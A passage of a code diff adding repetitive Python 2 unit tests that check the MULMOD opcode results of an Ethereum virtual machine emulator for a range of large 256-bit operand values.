+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_MULMOD_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_MULMOD_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_MULMOD_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [16L])
+
+    def test_MULMOD_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [32L])
+
+    def test_MULMOD_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [48L])
+
+    def test_MULMOD_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_MULMOD_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_MULMOD_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [28948022309329048855892746252171976963317496166410141009864396001978282410224L])
+
+    def test_MULMOD_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1809251394333065553493296640760748560207343510400633813116524750123642650391L])
+
+    def test_MULMOD_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639687L])
+
+    def test_MULMOD_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639439L])
+
+    def test_MULMOD_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639191L])
+
+    def test_MULMOD_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008593519205859030518839909394011324062893683996799L])
+
+    def test_MULMOD_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_MULMOD_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1809251394333065553493296640760748560207343510400633813116524750123642650391L])
+
+    def test_MULMOD_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [108668161872129749806691129485692460397453569593438068400311267804301286703329L])
+
+    def test_MULMOD_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564820208L])
+
+    def test_MULMOD_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [481L])
+
+    def test_MULMOD_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564820689L])
+
+    def test_MULMOD_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
